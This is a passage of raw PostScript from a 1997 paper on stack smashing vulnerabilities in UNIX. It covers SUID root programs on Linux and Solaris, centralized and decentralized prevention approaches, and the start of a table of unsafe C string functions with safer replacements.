1.0000 SET_CMYK GS n 6110 6046 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 6046 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6479 6046 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 6046 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5770 M (vulnerability. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 5770 M (Comparatively, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3262 5770 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3446 5770 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3565 5770 M (distribution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 5770 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 5770 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 5770 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 5770 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5989 5770 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 5770 M (approximately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5494 M (67 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 5494 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1932 5494 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2287 5494 M (world-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3529 5494 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4246 5494 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4499 5494 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4789 5494 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5339 5494 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5555 5494 M (total) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5850 5535 M (12) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5988 5494 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6159 5494 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6431 5494 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6813 5494 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7103 5494 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5218 M (distribution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2081 5218 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2305 5218 M (error ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2697 5218 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2893 5218 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 5218 M (coding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3682 5218 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3878 5218 M (handle ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4388 5218 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5028 5218 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5474 5218 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6142 5218 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6338 5218 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6645 5218 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 5218 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 5218 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4942 M (system binaries could allow for a stack smashing vulnerability.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4666 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 4666 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2604 4666 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2897 4666 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3413 4666 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3605 4666 M (examples, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4329 4666 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 4666 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4962 4666 M (conclude ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5615 4666 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5917 4666 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 4666 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6799 4666 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4666 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4390 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1654 4390 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1985 4390 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2575 4390 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2952 4390 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 4390 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3410 4390 M (typical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3925 4390 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4404 4390 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5317 4390 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5666 4390 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5969 4390 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6171 4390 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 4390 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7269 4390 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4114 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1815 4114 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 4114 M (target ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2444 4114 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2727 4114 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3157 4114 M (smashers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3899 4114 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 4114 M (prevention ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 4114 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5433 4114 M (protection ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6195 4114 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 4114 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6852 4114 M (files ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7227 4114 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4114 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3838 M (necessity.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3512 M (11. Stack Smashing Prevention) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3222 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1873 3222 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2650 3222 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 3222 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 3222 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4427 3222 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4705 3222 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4909 3222 M (taken ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 3222 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 3222 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5908 3222 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6297 3222 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 3222 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2946 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 2946 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2641 2946 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 2946 M (so, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3215 2946 M (changes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 2946 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4293 2946 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 2946 M (implemented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5537 2946 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5775 2946 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 2946 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 2946 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2670 M (themselves, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2045 2670 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 2670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 2670 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 2670 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3603 2670 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 2670 M (compilers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5006 2670 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 2670 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 2670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5633 2670 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 2670 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6828 2670 M (kernel. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 2670 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2394 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2008 2394 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2690 2394 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3325 2394 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4247 2394 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4458 2394 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4993 2394 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 2394 M (and/or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 2394 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 2394 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 2394 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2118 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1709 2118 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2166 2118 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2328 2118 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 2118 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4001 2118 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4652 2118 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4943 2118 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5881 2118 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 2118 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 2118 M (programs ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 21 21 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (and/or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1692 9848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1866 9848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 9848 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3499 9848 M (compilers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4261 9848 M (Of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4500 9848 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4905 9848 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5217 9848 M (basic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5622 9848 M (approaches, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6476 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6613 9848 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1908 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2111 9572 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2546 9572 M (immediately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3470 9572 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4614 9572 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5178 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5399 9572 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6194 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6526 9572 M (workload, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 9572 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (cheaper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1964 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 9296 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2578 9296 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2942 9296 M (providing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3646 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 9296 M (stable, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4266 9296 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 9296 M (lasting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 9296 M (solution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5755 9296 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5933 9296 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6721 9296 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (cheaper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1776 9020 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1958 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 9020 M (short ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2600 9020 M (term, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3001 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3349 9020 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3874 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4056 9020 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4812 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 9020 M (workload, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5828 9020 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6093 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6257 9020 M (near ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6597 9020 M (impossible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (implement as a long term solution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8443 M (11.1 Program modification) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8160 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1956 8160 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2736 8160 M (fix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2989 8160 M (defective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3667 8160 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 8160 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4460 8160 M (program, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5135 8160 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5277 8160 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5854 8160 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6061 8160 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7044 8160 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 8160 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1618 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1801 7884 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2058 7884 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (g) ST -3 0 MR (r) ST -3 0 MR (a) ST -3 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 7884 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3261 7884 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3629 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 7884 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 7884 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4631 7884 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 7884 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6403 7884 M (Standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7049 7884 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 7884 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1584 7608 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 7608 M (concatenation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2754 7608 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3427 7608 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 7608 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4081 7608 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4588 7608 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 7608 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5149 7608 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 7608 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6266 7608 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6930 7608 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7104 7608 M (list ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1964 7332 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2574 7332 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2935 7332 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3120 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 7332 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3546 7332 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4509 7332 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5207 7332 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5503 7332 M (suitable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6076 7332 M (replacement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 7332 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (\(if available\) is as follows:) ST GR GS GS 1463 6932 7237 1492 DOCLIPBOX n 1463 6932 M 7236 6932 L 7236 1493 L 1463 1493 L 1463 6932 L 7236 6932 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1463 6932 7237 1492 DOCLIPBOX n 1554 6842 M 7236 6842 L 7236 1493 L 1554 1493 L 1554 6842 L 7236 6842 L GS 0.0000 0.0000 0.0000 0.4314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1463 6932 7237 1492 DOCLIPBOX n 1470 6925 M 7151 6925 L 7151 1578 L 1470 1578 L 1470 6925 L 7151 6925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS 1463 6932 7236 1493 DOCLIPBOX n 2189 6625 M (function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4187 6625 M (suitable replacement) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS 1463 6932 7236 1493 DOCLIPBOX n 2479 6125 M (gets\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4468 6125 M (fgets\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5793 M (sprintf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5494 M (strcat\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4472 5494 M (strncat\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 5196 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 4472 5196 M (strncpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4897 M (streadd\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4599 M (strecpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 4300 M (strtrns\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2471 4001 M (index\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2468 3703 M (fscanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 3404 M (scanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2472 3106 M (sscanf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 DOCLIPBOX n 2485 2807 M (vsprintf\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1463 6932 7236 1493 